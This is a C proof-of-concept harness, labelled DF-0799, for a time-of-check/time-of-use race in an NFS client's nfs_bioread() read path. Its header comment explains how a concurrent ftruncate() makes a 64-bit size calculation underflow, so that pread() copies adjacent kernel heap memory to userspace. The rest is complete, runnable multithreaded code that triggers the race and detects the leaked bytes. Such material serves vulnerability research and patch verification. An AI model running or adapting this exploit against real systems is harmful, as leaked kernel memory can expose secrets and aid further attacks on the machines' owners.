/*
 * DF-0799 PoC — VREG read np->n_size TOCTOU race (enhanced)
 *
 * Bug: nfs_bio.c nfs_bioread() VREG path caches np->n_size at line 224
 * (EOF check) then re-reads it at line 259-260 to clamp the copy count.
 * Between those two reads, nfs_doio() at line 242 sleeps for the READ RPC.
 * A concurrent ftruncate() on another thread calls nfs_meta_setsize()
 * which sets np->n_size = (smaller value).  When nfs_bioread resumes:
 *
 *   line 259:  if (loffset + boff + n > np->n_size)
 *   line 260:      n = np->n_size - loffset - boff;   // uint64 underflow!
 *
 * np->n_size is u_quad_t; loffset+boff > n_size after truncate → n wraps
 * to ~UINT64_MAX.  Then uiomovebp(bp, bp->b_data+boff, ~UINT64_MAX, uio)
 * copies min(~UINT64_MAX, uio_resid) bytes from the biosize buffer into
 * userspace, reading past the bp buffer into adjacent kernel heap.
 *
 * Harness:
 *   - Opens an NFS-mounted file
 *   - Thread A: pread() from a high offset, requesting >> biosize bytes
 *   - Thread B: ftruncate() to 0 then re-extend + rewrite, in a tight loop
 *   - Thread C (optional): stat() spammer to also exercise getattrcache path
 *   - Detection: if pread returns > 0 bytes when fstat() says size==0,
 *     the TOCTOU fired.  Bytes past biosize that are non-pattern are OOB
 *     kernel heap leak.
 *
 * Build:  cc -O2 -o toctou_race toctou_race.c -lpthread
 * Run:    ./toctou_race /mnt/testfile
 */

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>

#define FILE_SIZE   (64 * 1024)
#define READ_OFFSET (32 * 1024)       /* block 4 — beyond where truncate→0 reduces n_size */
#define READ_SIZE   (32 * 1024)       /* request 32K → if underflow, 24K read past 8K biosize buf */
#define BIOSIZE     8192
#define PATTERN     0xAA
#define ITERS       200000

static volatile int running = 1;
static volatile int toctou_count = 0;
static volatile int oob_leak_count = 0;
static const char *g_path;
static int g_fd_writer;

static void *
writer_thread(void *arg)
{
    int fd = g_fd_writer;
    char fill[4096];

    memset(fill, PATTERN, sizeof(fill));

    while (running) {
        /* Truncate to 0 — nfs_meta_setsize sets np->n_size=0 synchronously.
         * nvtruncbuf invalidates block buffers beyond offset 0. */
        if (ftruncate(fd, 0) < 0) { perror("ftruncate 0"); break; }

        /* Re-extend and re-populate so reader's next iteration sees
         * a large n_size (EOF check at nfs_bio.c:224 passes) and an
         * uncached block (nfs_doio at :242 blocks → race window). */
        if (ftruncate(fd, FILE_SIZE) < 0) { perror("ftruncate ext"); break; }
        for (off_t off = 0; off < FILE_SIZE; off += sizeof(fill))
            if (pwrite(fd, fill, sizeof(fill), off) != (ssize_t)sizeof(fill)) break;
    }
    return NULL;
}

static void *
stat_thread(void *arg)
{
    int fd = open(g_path, O_RDONLY);
    if (fd < 0) return NULL;
    struct stat st;
    while (running) {
        fstat(fd, &st);  /* exercises nfs_getattrcache → potential nfs_meta_setsize */
    }
    close(fd);
    return NULL;
}

static void *
reader_thread(void *arg)
{
    int fd, i;
    unsigned char buf[READ_SIZE];

    fd = open(g_path, O_RDONLY);
    if (fd < 0) { perror("reader open"); return NULL; }

    for (i = 0; i < ITERS && running; i++) {
        ssize_t n;
        struct stat st;

        memset(buf, 0x00, sizeof(buf));
        n = pread(fd, buf, READ_SIZE, READ_OFFSET);

        if (n <= 0)
            continue;

        /* Check the file size right after the read.
         * If file is 0 but pread returned > 0 bytes, the TOCTOU fired:
         * the EOF check at nfs_bio.c:224 saw n_size >= 32768 (file was large),
         * but by line 259 n_size was reduced to 0 → underflow → uiomovebp
         * copied n bytes from the biosize buffer. */
        if (fstat(fd, &st) == 0 && st.st_size == 0) {
            int j, oob_found = 0;

            toctou_count++;
            printf("[TOCTOU #%d iter=%d] pread offset=%d returned %zd bytes, "
                   "but fstat says file size = %lld\n",
                   toctou_count, i, READ_OFFSET, n, (long long)st.st_size);

            /* Show hex dump of first 64 bytes */
            printf("  hex[0..63]: ");
            for (j = 0; j < 64 && j < n; j++) printf("%02x", buf[j]);
            printf("\n");

            /* Check for non-pattern data past biosize — kernel heap leak.
             * In a normal read, all bytes should be PATTERN (0xAA).
             * Bytes past biosize (8192) that are non-pattern = kernel heap. */
            if (n > BIOSIZE) {
                for (j = BIOSIZE; j < n; j++) {
                    if (buf[j] != PATTERN && buf[j] != 0x00) {
                        printf("  [OOB HEAP LEAK] byte[%d]=0x%02x "
                               "(past biosize=%d, not pattern 0x%02x, not zero)\n",
                               j, buf[j], BIOSIZE, PATTERN);
                        oob_found = 1;
                        break;
                    }
                }
                /* Even all-zero past biosize is an OOB read — normal read
                 * from offset 32768 of a 64K file returns 0xAA for ALL bytes */
                if (!oob_found) {
                    printf("  [OOB READ] %zd bytes past biosize buffer are 0x00 "
                           "(kernel memory, not file data 0x%02x)\n",
                           n - BIOSIZE, PATTERN);
                    oob_found = 1;
                }
            } else {
                /* n <= BIOSIZE but file was 0 — still TOCTOU but less dramatic */
                for (j = 0; j < n; j++) {
                    if (buf[j] != PATTERN) {
                        printf("  [unexpected data] byte[%d]=0x%02x\n",
                               j, buf[j]);
                        oob_found = 1;
                        break;
                    }
                }
            }

            if (oob_found) {
                oob_leak_count++;
                if (oob_leak_count >= 5) {
                    running = 0;
                    break;
                }
            }
        }
    }

    close(fd);
    return NULL;
}

int
main(int argc, char **argv)
{
    pthread_t reader, writer, statter;
    int fd;

    if (argc < 2) {
        fprintf(stderr, "usage: %s <nfs-file>\n", argv[0]);
        return 1;
    }
    g_path = argv[1];

    /* Initialize the file */
    fd = open(g_path, O_RDWR | O_CREAT, 0666);
    if (fd < 0) { perror("open init"); return 1; }
    ftruncate(fd, FILE_SIZE);
    {
        char fill[4096];
        memset(fill, PATTERN, sizeof(fill));
        for (off_t off = 0; off < FILE_SIZE; off += sizeof(fill))
            pwrite(fd, fill, sizeof(fill), off);
    }
    fsync(fd);
    g_fd_writer = fd;

    printf("DF-0799 TOCTOU race harness (enhanced)\n");
    printf("File: %s\n", g_path);
    printf("Read: offset=%d size=%d (biosize=%d)\n", READ_OFFSET, READ_SIZE, BIOSIZE);
    printf("Iterations: %d\n", ITERS);
    printf("---\n");
    fflush(stdout);

    pthread_create(&reader, NULL, reader_thread, NULL);
    pthread_create(&writer, NULL, writer_thread, NULL);
    pthread_create(&statter, NULL, stat_thread, NULL);

    pthread_join(reader, NULL);
    running = 0;
    pthread_join(writer, NULL);
    pthread_join(statter, NULL);

    printf("---\n");
    printf("TOCTOU events (pread>0 when file size==0): %d\n", toctou_count);
    printf("OOB leak confirmations: %d\n", oob_leak_count);

    if (oob_leak_count > 0) {
        printf("VERDICT: TOCTOU CONFIRMED — read returned data from a 0-byte file,\n");
        printf("         reading past the biosize buffer into adjacent kernel memory.\n");
        return 0;
    } else if (toctou_count > 0) {
        printf("VERDICT: TOCTOU triggered — pread returned >0 from truncated file.\n");
        return 0;
    } else {
        printf("VERDICT: not triggered in %d iterations.\n", ITERS);
        return 1;
    }
}
